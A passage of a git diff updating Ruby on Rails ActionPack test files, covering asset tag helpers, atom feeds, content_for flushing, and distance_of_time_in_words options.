-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => true)
     )
 
     assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => true, :recursive => true)
     )
 
     assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
 
     assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => "money")
     )
 
     assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => "money", :recursive => true)
     )
 
     assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
   end
+
+  def test_caching_stylesheet_include_tag_with_absolute_uri
+    ENV["RAILS_ASSET_ID"] = ""
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/all.css" media="screen" rel="stylesheet" />),
+      stylesheet_link_tag("/foo/baz", :cache => true)
+    )
+
+    FileUtils.rm(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+  end
 end
 
 class AssetTagHelperNonVhostTest < ActionView::TestCase
@@ -1095,8 +1340,6 @@ class AssetTagHelperNonVhostTest < ActionView::TestCase
     assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
     assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
     assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='/collaboration/hieraki/images/mouse.png'" src="/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
-    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='/collaboration/hieraki/images/mouse2.png'" src="/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
   end
 
   def test_should_ignore_relative_root_path_on_complete_url
@@ -1109,8 +1352,6 @@ class AssetTagHelperNonVhostTest < ActionView::TestCase
     assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
     assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
     assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
-    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
   end
 
   def test_should_compute_proper_path_with_asset_host_and_default_protocol
@@ -1119,33 +1360,50 @@ class AssetTagHelperNonVhostTest < ActionView::TestCase
     assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
     assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
     assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
-    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
+  end
+
+  def test_should_compute_proper_url_with_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+  end
+
+  def test_should_compute_proper_url_with_asset_host_and_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :request
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
   end
 
   def test_should_ignore_asset_host_on_complete_url
     @controller.config.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
   end
 
   def test_should_ignore_asset_host_on_scheme_relative_url
     @controller.config.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
+    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
   end
 
   def test_should_wildcard_asset_host_between_zero_and_four
     @controller.config.asset_host = 'http://a%d.example.com'
     assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png'))
+    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url('xml.png'))
   end
 
   def test_asset_host_without_protocol_should_be_protocol_relative
     @controller.config.asset_host = 'a.example.com'
     assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
+    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_url('xml.png')
   end
 
   def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
     @controller.config.asset_host = 'a.example.com/files/go/here'
     assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
+    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_url('xml.png')
   end
 
   def test_assert_css_and_js_of_the_same_name_return_correct_extension
diff --git a/actionpack/test/template/atom_feed_helper_test.rb b/actionpack/test/template/atom_feed_helper_test.rb
index 81d7444cf8..89aae4ac56 100644
--- a/actionpack/test/template/atom_feed_helper_test.rb
+++ b/actionpack/test/template/atom_feed_helper_test.rb
@@ -16,7 +16,7 @@ class ScrollsController < ActionController::Base
           feed.title("My great blog!")
           feed.updated((@scrolls.first.created_at))
 
-          @scrolls.each do |scroll| 
+          @scrolls.each do |scroll|
             feed.entry(scroll) do |entry|
               entry.title(scroll.title)
               entry.content(scroll.body, :type => 'html')
@@ -45,6 +45,23 @@ class ScrollsController < ActionController::Base
           end
         end
     EOT
+    FEEDS["entry_type_options"] = <<-EOT
+        atom_feed(:schema_date => '2008') do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :type => 'text/xml') do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
     FEEDS["xml_block"] = <<-EOT
         atom_feed do |feed|
           feed.title("My great blog!")
@@ -185,11 +202,6 @@ class ScrollsController < ActionController::Base
 
     render :inline => FEEDS[params[:id]], :type => :builder
   end
-
-  protected
-    def rescue_action(e)
-      raise(e)
-    end
 end
 
 class AtomFeedTest < ActionController::TestCase
@@ -311,6 +323,20 @@ class AtomFeedTest < ActionController::TestCase
     end
   end
 
+  def test_feed_entry_type_option_default_to_text_html
+    with_restful_routing(:scrolls) do
+      get :index, :id => 'defaults'
+      assert_select "entry link[rel=alternate][type=text/html]"
+    end
+  end
+
+  def test_feed_entry_type_option_specified
+    with_restful_routing(:scrolls) do
+      get :index, :id => 'entry_type_options'
+      assert_select "entry link[rel=alternate][type=text/xml]"
+    end
+  end
+
   private
     def with_restful_routing(resources)
       with_routing do |set|
diff --git a/actionpack/test/template/benchmark_helper_test.rb b/actionpack/test/template/benchmark_helper_test.rb
new file mode 100644
index 0000000000..8c198d2562
--- /dev/null
+++ b/actionpack/test/template/benchmark_helper_test.rb
@@ -0,0 +1,24 @@
+require 'abstract_unit'
+require 'stringio'
+
+class BenchmarkHelperTest < ActionView::TestCase
+  include RenderERBUtils
+  tests ActionView::Helpers::BenchmarkHelper
+
+  def test_output_in_erb
+    output   = render_erb("Hello <%= benchmark do %>world<% end %>")
+    expected = 'Hello world'
+    assert_equal expected, output
+  end
+
+  def test_returns_value_from_block
+    assert_equal 'test', benchmark { 'test' }
+  end
+
+  def test_default_message
+    log = StringIO.new
+    self.stubs(:logger).returns(Logger.new(log))
+    benchmark {}
+    assert_match(/Benchmarking \(\d+.\d+ms\)/, log.rewind && log.read)
+  end
+end
diff --git a/actionpack/test/template/capture_helper_test.rb b/actionpack/test/template/capture_helper_test.rb
index 13e2d5b595..234ac3252d 100644
--- a/actionpack/test/template/capture_helper_test.rb
+++ b/actionpack/test/template/capture_helper_test.rb
@@ -53,6 +53,13 @@ class CaptureHelperTest < ActionView::TestCase
     assert_equal 'foobar', content_for(:title)
   end
 
+  def test_content_for_with_multiple_calls_and_flush
+    assert ! content_for?(:title)
+    content_for :title, 'foo'
+    content_for :title, 'bar', flush: true
+    assert_equal 'bar', content_for(:title)
+  end
+
   def test_content_for_with_block
     assert ! content_for?(:title)
     content_for :title do
@@ -63,6 +70,39 @@ class CaptureHelperTest < ActionView::TestCase
     assert_equal 'foobar', content_for(:title)
   end
 
+  def test_content_for_with_block_and_multiple_calls_with_flush
+    assert ! content_for?(:title)
+    content_for :title do
+      'foo'
+    end
+    content_for :title, flush: true do
+      'bar'
+    end
+    assert_equal 'bar', content_for(:title)
+  end
+
+  def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
+    assert ! content_for?(:title)
+    content_for :title do
+      'foo'
+    end
+    content_for :title, nil, flush: true do
+      'bar'
+    end
+    assert_equal 'bar', content_for(:title)
+  end
+
+  def test_content_for_with_block_and_multiple_calls_without_flush
+    assert ! content_for?(:title)
+    content_for :title do
+      'foo'
+    end
+    content_for :title, flush: false do
+      'bar'
+    end
+    assert_equal 'foobar', content_for(:title)
+  end
+
   def test_content_for_with_whitespace_block
     assert ! content_for?(:title)
     content_for :title, 'foo'
@@ -74,12 +114,27 @@ class CaptureHelperTest < ActionView::TestCase
     assert_equal 'foobar', content_for(:title)
   end
 
+  def test_content_for_with_whitespace_block_and_flush
+    assert ! content_for?(:title)
+    content_for :title, 'foo'
+    content_for :title, flush: true do
+      output_buffer << "  \n  "
+      nil
+    end
+    content_for :title, 'bar', flush: true
+    assert_equal 'bar', content_for(:title)
+  end
+
   def test_content_for_returns_nil_when_writing
     assert ! content_for?(:title)
     assert_equal nil, content_for(:title, 'foo')
     assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil }
     assert_equal nil, content_for(:title) { output_buffer << "  \n  "; nil }
     assert_equal 'foobar', content_for(:title)
+    assert_equal nil, content_for(:title, 'foo', flush: true)
+    assert_equal nil, content_for(:title, flush: true) { output_buffer << 'bar'; nil }
+    assert_equal nil, content_for(:title, flush: true) { output_buffer << "  \n  "; nil }
+    assert_equal 'bar', content_for(:title)
   end
 
   def test_content_for_question_mark
@@ -131,17 +186,15 @@ class CaptureHelperTest < ActionView::TestCase
     assert buffer.equal?(@av.output_buffer)
   end
 
-  unless RUBY_VERSION < '1.9'
-    def test_with_output_buffer_sets_proper_encoding
-      @av.output_buffer = ActionView::OutputBuffer.new
+  def test_with_output_buffer_sets_proper_encoding
+    @av.output_buffer = ActionView::OutputBuffer.new
 
-      # Ensure we set the output buffer to an encoding different than the default one.
-      alt_encoding = alt_encoding(@av.output_buffer)
-      @av.output_buffer.force_encoding(alt_encoding)
+    # Ensure we set the output buffer to an encoding different than the default one.
+    alt_encoding = alt_encoding(@av.output_buffer)
+    @av.output_buffer.force_encoding(alt_encoding)
 
-      @av.with_output_buffer do
-        assert_equal alt_encoding, @av.output_buffer.encoding
-      end
+    @av.with_output_buffer do
+      assert_equal alt_encoding, @av.output_buffer.encoding
     end
   end
 
@@ -165,14 +218,12 @@ class CaptureHelperTest < ActionView::TestCase
     assert_equal '', view.output_buffer
   end
 
-  unless RUBY_VERSION < '1.9'
-    def test_flush_output_buffer_preserves_the_encoding_of_the_output_buffer
-      view = view_with_controller
-      alt_encoding = alt_encoding(view.output_buffer)
-      view.output_buffer.force_encoding(alt_encoding)
-      flush_output_buffer
-      assert_equal alt_encoding, view.output_buffer.encoding
-    end
+  def test_flush_output_buffer_preserves_the_encoding_of_the_output_buffer
+    view = view_with_controller
+    alt_encoding = alt_encoding(view.output_buffer)
+    view.output_buffer.force_encoding(alt_encoding)
+    flush_output_buffer
+    assert_equal alt_encoding, view.output_buffer.encoding
   end
 
   def alt_encoding(output_buffer)
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
index 8fc78283d8..f5dc2fbb33 100644
--- a/actionpack/test/template/compiled_templates_test.rb
+++ b/actionpack/test/template/compiled_templates_test.rb
@@ -1,8 +1,12 @@
 require 'abstract_unit'
 require 'controller/fake_models'
 
-class CompiledTemplatesTest < Test::Unit::TestCase
+class CompiledTemplatesTest < ActiveSupport::TestCase
   def setup
+    # Clean up any details key cached to expose failures
+    # that otherwise would appear just on isolated tests
+    ActionView::LookupContext::DetailsKey.clear
+
     @compiled_templates = ActionView::CompiledTemplates
     @compiled_templates.instance_methods.each do |m|
       @compiled_templates.send(:remove_method, m) if m =~ /^_render_template_/
diff --git a/actionpack/test/template/compressors_test.rb b/actionpack/test/template/compressors_test.rb
deleted file mode 100644
index a273f15bd7..0000000000
--- a/actionpack/test/template/compressors_test.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-require 'abstract_unit'
-require 'sprockets/compressors'
-
-class CompressorsTest < ActiveSupport::TestCase
-  def test_register_css_compressor
-    Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor)
-    compressor = Sprockets::Compressors.registered_css_compressor(:null)
-    assert_kind_of Sprockets::NullCompressor, compressor
-  end
-
-  def test_register_js_compressor
-    Sprockets::Compressors.register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier')
-    compressor = Sprockets::Compressors.registered_js_compressor(:uglifier)
-    assert_kind_of Uglifier, compressor
-  end
-
-  def test_register_default_css_compressor
-    Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor, :default => true)
-    compressor = Sprockets::Compressors.registered_css_compressor(:default)
-    assert_kind_of Sprockets::NullCompressor, compressor
-  end
-
-  def test_register_default_js_compressor
-    Sprockets::Compressors.register_js_compressor(:null, Sprockets::NullCompressor, :default => true)
-    compressor = Sprockets::Compressors.registered_js_compressor(:default)
-    assert_kind_of Sprockets::NullCompressor, compressor
-  end
-end
diff --git a/actionpack/test/template/date_helper_i18n_test.rb b/actionpack/test/template/date_helper_i18n_test.rb
index d45215acfd..63066d40cd 100644
--- a/actionpack/test/template/date_helper_i18n_test.rb
+++ b/actionpack/test/template/date_helper_i18n_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
+class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase
   include ActionView::Helpers::DateHelper
   attr_reader :request
 
@@ -12,24 +12,24 @@ class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
 
   def test_distance_of_time_in_words_calls_i18n
     { # with include_seconds
-      [2.seconds,  true]  => [:'less_than_x_seconds', 5],
-      [9.seconds,  true]  => [:'less_than_x_seconds', 10],
-      [19.seconds, true]  => [:'less_than_x_seconds', 20],
-      [30.seconds, true]  => [:'half_a_minute',       nil],
-      [59.seconds, true]  => [:'less_than_x_minutes', 1],
-      [60.seconds, true]  => [:'x_minutes',           1],
+      [2.seconds,  { :include_seconds => true }]  => [:'less_than_x_seconds', 5],
+      [9.seconds,  { :include_seconds => true }]  => [:'less_than_x_seconds', 10],
+      [19.seconds, { :include_seconds => true }]  => [:'less_than_x_seconds', 20],
+      [30.seconds, { :include_seconds => true }]  => [:'half_a_minute',       nil],
+      [59.seconds, { :include_seconds => true }]  => [:'less_than_x_minutes', 1],
+      [60.seconds, { :include_seconds => true }]  => [:'x_minutes',           1],
 
       # without include_seconds
-      [29.seconds,          false] => [:'less_than_x_minutes', 1],
-      [60.seconds,          false] => [:'x_minutes',           1],
-      [44.minutes,          false] => [:'x_minutes',           44],
-      [61.minutes,          false] => [:'about_x_hours',       1],
-      [24.hours,            false] => [:'x_days',              1],
-      [30.days,             false] => [:'about_x_months',      1],
-      [60.days,             false] => [:'x_months',            2],
-      [1.year,              false] => [:'about_x_years',       1],
-      [3.years + 6.months,  false] => [:'over_x_years',        3],
-      [3.years + 10.months, false] => [:'almost_x_years',      4]
+      [29.seconds,          { :include_seconds => false }] => [:'less_than_x_minutes', 1],
+      [60.seconds,          { :include_seconds => false }] => [:'x_minutes',           1],
+      [44.minutes,          { :include_seconds => false }] => [:'x_minutes',           44],
+      [61.minutes,          { :include_seconds => false }] => [:'about_x_hours',       1],
+      [24.hours,            { :include_seconds => false }] => [:'x_days',              1],
+      [30.days,             { :include_seconds => false }] => [:'about_x_months',      1],
+      [60.days,             { :include_seconds => false }] => [:'x_months',            2],
+      [1.year,              { :include_seconds => false }] => [:'about_x_years',       1],
+      [3.years + 6.months,  { :include_seconds => false }] => [:'over_x_years',        3],
+      [3.years + 10.months, { :include_seconds => false }] => [:'almost_x_years',      4]
 
       }.each do |passed, expected|
       assert_distance_of_time_in_words_translates_key passed, expected
@@ -37,7 +37,7 @@ class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
   end
 
   def assert_distance_of_time_in_words_translates_key(passed, expected)
-    diff, include_seconds = *passed
+    diff, passed_options = *passed
     key, count = *expected
     to = @from + diff
 
@@ -45,7 +45,12 @@ class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
     options[:count] = count if count
 
     I18n.expects(:t).with(key, options)
-    distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
+    distance_of_time_in_words(@from, to, passed_options.merge(:locale => 'en'))
+  end
+
+  def test_time_ago_in_words_passes_locale
+    I18n.expects(:t).with(:less_than_x_minutes, :scope => :'datetime.distance_in_words', :count => 1, :locale => 'ru')
+    time_ago_in_words(15.seconds.ago, :locale => 'ru')
   end
 
   def test_distance_of_time_pluralizations
@@ -71,7 +76,7 @@ class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
   end
 end
 
-class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
+class DateHelperSelectTagsI18nTests < ActiveSupport::TestCase
   include ActionView::Helpers::DateHelper
   attr_reader :request
 
@@ -103,7 +108,7 @@ class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
       I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
     end
 
-    I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+    I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day]
     datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
   end
 
@@ -115,7 +120,15 @@ class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
   end
 
   def test_date_or_time_select_given_no_order_options_translates_order
-    I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+    I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day]
     datetime_select('post', 'updated_at', :locale => 'en')
   end
+
+  def test_date_or_time_select_given_invalid_order
+    I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:invalid, :month, :day]
+
+    assert_raise StandardError do
+      datetime_select('post', 'updated_at', :locale => 'en')
+    end
+  end
 end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
index af30ec9892..c13878af98 100644
--- a/actionpack/test/template/date_helper_test.rb
+++ b/actionpack/test/template/date_helper_test.rb
@@ -21,56 +21,80 @@ class DateHelperTest < ActionView::TestCase
   def assert_distance_of_time_in_words(from, to=nil)
     to ||= from
 
-    # 0..1 with include_seconds
-    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, true)
-    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, true)
-    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, true)
-    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, true)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, true)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, true)
-    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, true)
-    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, true)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, true)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, true)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, true)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, true)
-
-    # First case 0..1
+    # 0..1 minute with :include_seconds => true
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => true)
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => true)
+
+    # 0..1 minute with :include_seconds => false
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => false)
+
+    # Note that we are including a 30-second boundary around the interval we
+    # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
+    # reason for doing this is simple -- in `distance_of_time_to_words`, when we
+    # take the distance between our two Time objects in seconds and convert it
+    # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
+    # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
+    # happens with the other cases.
+
+    # First case 0..1 minute
     assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
     assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
     assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
     assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
 
-    # 2..44
+    # 2 minutes up to 45 minutes
     assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
     assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
 
-    # 45..89
+    # 45 minutes up to 90 minutes
     assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
     assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
 
-    # 90..1439
+    # 90 minutes up to 24 hours
     assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
     assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
 
-    # 1440..2519
+    # 24 hours up to 42 hours
     assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
     assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
 
-    # 2520..43199
+    # 42 hours up to 30 days
     assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
     assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
     assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
 
-    # 43200..86399
+    # 30 days up to 60 days
     assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "about 1 month", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
+    assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
 
-    # 86400..525599
+    # 60 days up to 365 days
     assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
     assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
 
-    # > 525599
+    # >= 365 days
     assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years - 30.seconds)
